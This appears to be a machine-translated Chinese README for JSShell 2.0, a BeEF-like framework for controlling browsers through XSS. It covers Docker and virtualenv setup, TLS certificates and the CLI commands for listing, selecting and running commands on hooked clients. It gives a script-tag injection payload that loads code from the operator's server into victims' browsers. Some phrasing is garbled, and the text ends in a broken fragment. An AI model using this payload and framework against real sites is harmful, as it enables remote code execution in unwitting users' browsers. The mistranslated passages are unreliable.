一个基于交互式多用户的交互式JavaScript Shell。最初是为了在实验和研究过程中调试远程深奥浏览器的创建。可以将此工具轻松连接到XSS(跨站点脚本)有效负载,以实现浏览器远程代码执行(类似于牛肉框架)。
2.0版是完全从头开始创建的,引入了新的令人兴奋的功能,稳定性和可维护性。
丹尼尔·亚伯斯(Daniel Abeles)。
<script>标签注射在resources目录中,使用您所需的配置更新config.json文件:
docker部署方法运行,请选择数据库主机作为db (这是内部主机名)。shell.js文件进行一些AJAX调用以注册和轮询新命令。通常,它将是http[s]://{YOUR_SERVER_IP}:{PORT} 。现在,JSShell支持TLS,这意味着您现在可以生成TLS证书并将其提供给Web服务器。 Web服务器将从config.json文件推断域名。为了创建证书,请在scripts文件夹中使用create_cert.py脚本:
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > 请注意,必须关闭Web服务器才能使脚本正常运行。在这一点上,我们已经成功生成了证书!我们需要做的唯一修改是:
config.json文件中,将URL字段的架构更改为https 。docker-compose.yml文件中,文件将web容器的暴露端口更改为443 。该新版本支持通过docker和docker-compose安装和运行JSSHELL。现在,要安装并运行整个JSSHELL框架,只需运行:
$ ./scripts/start_docker_shell.sh这将:
JSShell命令行接口容器的新实例如果您仍然想使用旧的安装方法,只需确保您启动和运行MongoDB数据库,然后更新位于resources目录中的config.json文件即可。
我建议使用pyenv的虚拟环境:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv或使用virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activate然后,安装要求:
$ pip install -r requirements.txt如果使用docker方法,则无需运行以下过程。
否则,一旦我们进行了数据库设置,就需要启动Web API服务器。要做,运行:
$ python manage.py web这将创建并运行一个Web服务器,该Web服务器会倾听传入的连接并为我们的JSSHELL代码提供服务。
现在要启动JSSHELL CLI,运行相同的脚本,但现在使用shell标志:
$ python manage.py shell设置并运行所需的组件后,输入help命令以查看可用命令:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSshell支持2种操作方法:
与其他XSS控制框架(如牛肉)类似,JSSHELL能够管理成功的XSS利用。例如,如果您可以注入script标签,请将以下资源注入有效载荷,新客户端将出现在您的控制台中:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
如果您想调试异国情调和深奥的浏览器,则可以简单地导航到http[s]://{YOUR_SERVER_IP}:{PORT}/ ,一个新客户端将弹出到您的JSshell Cli Client中。现在,它可以通过我们的JSSHELL控制台进行辩论。
JSON.PRUNE的canop